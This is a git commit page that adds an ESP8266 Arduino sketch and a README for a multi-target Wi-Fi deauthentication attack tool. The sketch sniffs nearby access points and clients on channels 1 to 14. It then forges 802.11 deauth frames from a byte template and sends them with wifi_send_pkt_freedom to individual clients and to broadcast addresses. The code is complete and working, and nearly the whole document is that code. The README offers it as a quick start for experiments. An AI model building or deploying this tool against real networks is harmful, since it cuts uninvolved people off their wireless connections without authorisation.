summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorandrew <andrewludwig@live.ru>2016-01-27 08:46:01 +0300
committerandrew <andrewludwig@live.ru>2016-01-27 08:46:01 +0300
commit93f1b83f302aac05322e7b1a3a03e4af0656d876 (patch)
tree37b019816957ae445510c9d41fb49b5252b630d3
parentedda6bddb29c6f89257c22b397032d2d2141b4a3 (diff)
downloadjimmiedeauth-93f1b83f302aac05322e7b1a3a03e4af0656d876.tar.gz
jimmiedeauth-93f1b83f302aac05322e7b1a3a03e4af0656d876.zip
First commit. Source code is the same like in blog post.
-rw-r--r--DeAuth/DeAuth.ino435
-rw-r--r--README.md8
2 files changed, 443 insertions, 0 deletions
diff --git a/DeAuth/DeAuth.ino b/DeAuth/DeAuth.ino
new file mode 100644
index 0000000..a3616fb
--- /dev/null
+++ b/DeAuth/DeAuth.ino
@@ -0,0 +1,435 @@
+// Expose Espressif SDK functionality - wrapped in ifdef so that it still
+// compiles on other platforms
+#ifdef ESP8266
+extern "C" {
+#include "user_interface.h"
+}
+#endif
+
+#include <ESP8266WiFi.h>
+
+#define ETH_MAC_LEN 6
+#define MAX_APS_TRACKED 100
+#define MAX_CLIENTS_TRACKED 200
+
+// Channel to perform deauth
+uint8_t channel = 0;
+
+// Packet buffer
+uint8_t packet_buffer[64];
+
+// DeAuth template
+uint8_t template_da[26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};
+
+uint8_t broadcast1[3] = { 0x01, 0x00, 0x5e };
+uint8_t broadcast2[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
+uint8_t broadcast3[3] = { 0x33, 0x33, 0x00 };
+
+struct beaconinfo
+{
+ uint8_t bssid[ETH_MAC_LEN];
+ uint8_t ssid[33];
+ int ssid_len;
+ int channel;
+ int err;
+ signed rssi;
+ uint8_t capa[2];
+};
+
+struct clientinfo
+{
+ uint8_t bssid[ETH_MAC_LEN];
+ uint8_t station[ETH_MAC_LEN];
+ uint8_t ap[ETH_MAC_LEN];
+ int channel;
+ int err;
+ signed rssi;
+ uint16_t seq_n;
+};
+
+beaconinfo aps_known[MAX_APS_TRACKED]; // Array to save MACs of known APs
+int aps_known_count = 0; // Number of known APs
+int nothing_new = 0;
+clientinfo clients_known[MAX_CLIENTS_TRACKED]; // Array to save MACs of known CLIENTs
+int clients_known_count = 0; // Number of known CLIENTs
+
+struct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)
+{
+ struct beaconinfo bi;
+ bi.ssid_len = 0;
+ bi.channel = 0;
+ bi.err = 0;
+ bi.rssi = rssi;
+ int pos = 36;
+
+ if (frame[pos] == 0x00) {
+ while (pos < framelen) {
+ switch (frame[pos]) {
+ case 0x00: //SSID
+ bi.ssid_len = (int) frame[pos + 1];
+ if (bi.ssid_len == 0) {
+ memset(bi.ssid, '\x00', 33);
+ break;
+ }
+ if (bi.ssid_len < 0) {
+ bi.err = -1;
+ break;
+ }
+ if (bi.ssid_len > 32) {
+ bi.err = -2;
+ break;
+ }
+ memset(bi.ssid, '\x00', 33);
+ memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);
+ bi.err = 0; // before was error??
+ break;
+ case 0x03: //Channel
+ bi.channel = (int) frame[pos + 2];
+ pos = -1;
+ break;
+ default:
+ break;
+ }
+ if (pos < 0) break;
+ pos += (int) frame[pos + 1] + 2;
+ }
+ } else {
+ bi.err = -3;
+ }
+
+ bi.capa[0] = frame[34];
+ bi.capa[1] = frame[35];
+ memcpy(bi.bssid, frame + 10, ETH_MAC_LEN);
+
+ return bi;
+}
+
+struct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel)
+{
+ struct clientinfo ci;
+ ci.channel = channel;
+ ci.err = 0;
+ ci.rssi = rssi;
+ int pos = 36;
+ uint8_t *bssid;
+ uint8_t *station;
+ uint8_t *ap;
+ uint8_t ds;
+
+ ds = frame[1] & 3; //Set first 6 bits to 0
+ switch (ds) {
+ // p[1] - xxxx xx00 => NoDS p[4]-DST p[10]-SRC p[16]-BSS
+ case 0:
+ bssid = frame + 16;
+ station = frame + 10;
+ ap = frame + 4;
+ break;
+ // p[1] - xxxx xx01 => ToDS p[4]-BSS p[10]-SRC p[16]-DST
+ case 1:
+ bssid = frame + 4;
+ station = frame + 10;
+ ap = frame + 16;
+ break;
+ // p[1] - xxxx xx10 => FromDS p[4]-DST p[10]-BSS p[16]-SRC
+ case 2:
+ bssid = frame + 10;
+ // hack - don't know why it works like this...
+ if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {
+ station = frame + 16;
+ ap = frame + 4;
+ } else {
+ station = frame + 4;
+ ap = frame + 16;
+ }
+ break;
+ // p[1] - xxxx xx11 => WDS p[4]-RCV p[10]-TRM p[16]-DST p[26]-SRC
+ case 3:
+ bssid = frame + 10;
+ station = frame + 4;
+ ap = frame + 4;
+ break;
+ }
+
+ memcpy(ci.station, station, ETH_MAC_LEN);
+ memcpy(ci.bssid, bssid, ETH_MAC_LEN);
+ memcpy(ci.ap, ap, ETH_MAC_LEN);
+
+ ci.seq_n = frame[23] * 0xFF + (frame[22] & 0xF0);
+
+ return ci;
+}
+
+int register_beacon(beaconinfo beacon)
+{
+ int known = 0; // Clear known flag
+ for (int u = 0; u < aps_known_count; u++)
+ {
+ if (! memcmp(aps_known[u].bssid, beacon.bssid, ETH_MAC_LEN)) {
+ known = 1;
+ break;
+ } // AP known => Set known flag
+ }
+ if (! known) // AP is NEW, copy MAC to array and return it
+ {
+ memcpy(&aps_known[aps_known_count], &beacon, sizeof(beacon));
+ aps_known_count++;
+
+ if ((unsigned int) aps_known_count >=
+ sizeof (aps_known) / sizeof (aps_known[0]) ) {
+ Serial.printf("exceeded max aps_known\n");
+ aps_known_count = 0;
+ }
+ }
+ return known;
+}
+
+int register_client(clientinfo ci)
+{
+ int known = 0; // Clear known flag
+ for (int u = 0; u < clients_known_count; u++)
+ {
+ if (! memcmp(clients_known[u].station, ci.station, ETH_MAC_LEN)) {
+ known = 1;
+ break;
+ }
+ }
+ if (! known)
+ {
+ memcpy(&clients_known[clients_known_count], &ci, sizeof(ci));
+ clients_known_count++;
+
+ if ((unsigned int) clients_known_count >=
+ sizeof (clients_known) / sizeof (clients_known[0]) ) {
+ Serial.printf("exceeded max clients_known\n");
+ clients_known_count = 0;
+ }
+ }
+ return known;
+}
+
+void print_beacon(beaconinfo beacon)
+{
+ if (beacon.err != 0) {
+ //Serial.printf("BEACON ERR: (%d) ", beacon.err);
+ } else {
+ Serial.printf("BEACON: [%32s] ", beacon.ssid);
+ for (int i = 0; i < 6; i++) Serial.printf("%02x", beacon.bssid[i]);
+ Serial.printf(" %2d", beacon.channel);
+ Serial.printf(" %4d\r\n", beacon.rssi);
+ }
+}
+
+void print_client(clientinfo ci)
+{
+ int u = 0;
+ int known = 0; // Clear known flag
+ if (ci.err != 0) {
+ } else {
+ Serial.printf("CLIENT: ");
+ for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.station[i]);
+ Serial.printf(" works with: ");
+ for (u = 0; u < aps_known_count; u++)
+ {
+ if (! memcmp(aps_known[u].bssid, ci.bssid, ETH_MAC_LEN)) {
+ Serial.printf("[%32s]", aps_known[u].ssid);
+ known = 1;
+ break;
+ } // AP known => Set known flag
+ }
+ if (! known) {
+ Serial.printf("%22s", " ");
+ for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.bssid[i]);
+ }
+
+ Serial.printf("%5s", " ");
+ for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.ap[i]);
+ Serial.printf("%5s", " ");
+
+ if (! known) {
+ Serial.printf(" %3d", ci.channel);
+ } else {
+ Serial.printf(" %3d", aps_known[u].channel);
+ }
+ Serial.printf(" %4d\r\n", ci.rssi);
+ }
+}
+
+/* ==============================================
+ Promiscous callback structures, see ESP manual
+ ============================================== */
+
+struct RxControl {
+ signed rssi: 8;
+ unsigned rate: 4;
+ unsigned is_group: 1;
+ unsigned: 1;
+ unsigned sig_mode: 2;
+ unsigned legacy_length: 12;
+ unsigned damatch0: 1;
+ unsigned damatch1: 1;
+ unsigned bssidmatch0: 1;
+ unsigned bssidmatch1: 1;
+ unsigned MCS: 7;
+ unsigned CWB: 1;
+ unsigned HT_length: 16;
+ unsigned Smoothing: 1;
+ unsigned Not_Sounding: 1;
+ unsigned: 1;
+ unsigned Aggregation: 1;
+ unsigned STBC: 2;
+ unsigned FEC_CODING: 1;
+ unsigned SGI: 1;
+ unsigned rxend_state: 8;
+ unsigned ampdu_cnt: 8;
+ unsigned channel: 4;
+ unsigned: 12;
+};
+
+struct LenSeq {
+ uint16_t length;
+ uint16_t seq;
+ uint8_t address3[6];
+};
+
+struct sniffer_buf {
+ struct RxControl rx_ctrl;
+ uint8_t buf[36];
+ uint16_t cnt;
+ struct LenSeq lenseq[1];
+};
+
+struct sniffer_buf2 {
+ struct RxControl rx_ctrl;
+ uint8_t buf[112];
+ uint16_t cnt;
+ uint16_t len;
+};
+
+
+/* Creates a packet.
+
+ buf - reference to the data array to write packet to;
+ client - MAC address of the client;
+ ap - MAC address of the acces point;
+ seq - sequence number of 802.11 packet;
+
+ Returns: size of the packet
+*/
+uint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)
+{
+ int i = 0;
+
+ memcpy(buf, template_da, 26);
+ // Destination
+ memcpy(buf + 4, c, ETH_MAC_LEN);
+ // Sender
+ memcpy(buf + 10, ap, ETH_MAC_LEN);
+ // BSS
+ memcpy(buf + 16, ap, ETH_MAC_LEN);
+ // Seq_n
+ buf[22] = seq % 0xFF;
+ buf[23] = seq / 0xFF;
+
+ return 26;
+}
+
+/* Sends deauth packets. */
+void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
+{
+ uint8_t i = 0;
+ uint16_t sz = 0;
+ for (i = 0; i < 0x10; i++) {
+ sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i);
+ wifi_send_pkt_freedom(packet_buffer, sz, 0);
+ delay(1);
+ }
+}
+
+void promisc_cb(uint8_t *buf, uint16_t len)
+{
+ int i = 0;
+ uint16_t seq_n_new = 0;
+ if (len == 12) {
+ struct RxControl *sniffer = (struct RxControl*) buf;
+ } else if (len == 128) {
+ struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
+ struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
+ if (register_beacon(beacon) == 0) {
+ print_beacon(beacon);
+ nothing_new = 0;
+ }
+ } else {
+ struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
+ //Is data or QOS?
+ if ((sniffer->buf[0] == 0x08) || (sniffer->buf[0] == 0x88)) {
+ struct clientinfo ci = parse_data(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);
+ if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {
+ if (register_client(ci) == 0) {
+ print_client(ci);
+ nothing_new = 0;
+ }
+ }
+ }
+ }
+}
+
+void setup() {
+ Serial.begin(115200);
+ Serial.printf("\n\nSDK version:%s\n", system_get_sdk_version());
+
+ // Promiscuous works only with station mode
+ wifi_set_opmode(STATION_MODE);
+
+ // Set up promiscuous callback
+ wifi_set_channel(1);
+ wifi_promiscuous_enable(0);
+ wifi_set_promiscuous_rx_cb(promisc_cb);
+ wifi_promiscuous_enable(1);
+}
+
+void loop() {
+ while (true) {
+
+ channel = 1;
+ wifi_set_channel(channel);
+ while (true) {
+ nothing_new++;
+ if (nothing_new > 200) {
+ nothing_new = 0;
+
+ wifi_promiscuous_enable(0);
+ wifi_set_promiscuous_rx_cb(0);
+ wifi_promiscuous_enable(1);
+ for (int ua = 0; ua < aps_known_count; ua++) {
+ if (aps_known[ua].channel == channel) {
+ for (int uc = 0; uc < clients_known_count; uc++) {
+ if (! memcmp(aps_known[ua].bssid, clients_known[uc].bssid, ETH_MAC_LEN)) {
+ Serial.print("DeAuth to ---->");
+ print_client(clients_known[uc]);
+ deauth(clients_known[uc].station, clients_known[uc].bssid, clients_known[uc].seq_n);
+ break;
+ }
+ }
+ deauth(broadcast2, aps_known[ua].bssid, 128);
+ }
+ }
+ wifi_promiscuous_enable(0);
+ wifi_set_promiscuous_rx_cb(promisc_cb);
+ wifi_promiscuous_enable(1);
+
+ channel++;
+ if (channel == 15) break;
+ wifi_set_channel(channel);
+ }
+ delay(1);
+
+ if ((Serial.available() > 0) && (Serial.read() == '\n')) {
+ Serial.println("\n-------------------------------------------------------------------------\n");
+ for (int u = 0; u < aps_known_count; u++) print_beacon(aps_known[u]);
+ for (int u = 0; u < clients_known_count; u++) print_client(clients_known[u]);
+ Serial.println("\n-------------------------------------------------------------------------\n");
+ }
+ }
+ }
+}
+
diff --git a/README.md b/README.md
index 6f1e5a9..2362210 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,10 @@
# esp8266-deauth
Multi target De-Auth attack implementation for ESP8266 module.
+
+Projected was created in Arduino IDE v. 1.6.7.
+Support for ESP8266 was added with Board Manager. Look here: https://github.com/esp8266/Arduino
+I used version 2.1.0-rc2 with edited user-interface.h. Basically I took declaration for 'wifi_send_pkt_freedom' function from higher version of SDK (1.5.0) and paste it into SDK 1.3.0 (because I can see this function present in binaries)
+
+Project page on hackaday.io: https://hackaday.io/project/9333-weekend-on-the-dark-side
+
+Disclaimer: I am not pretending to create ultimate final solution. It works, in general, on devices I have tested. Main problem is to cover 14 channels with one RF module. But I hope this code can give you a quick start for your own experiments. \ No newline at end of file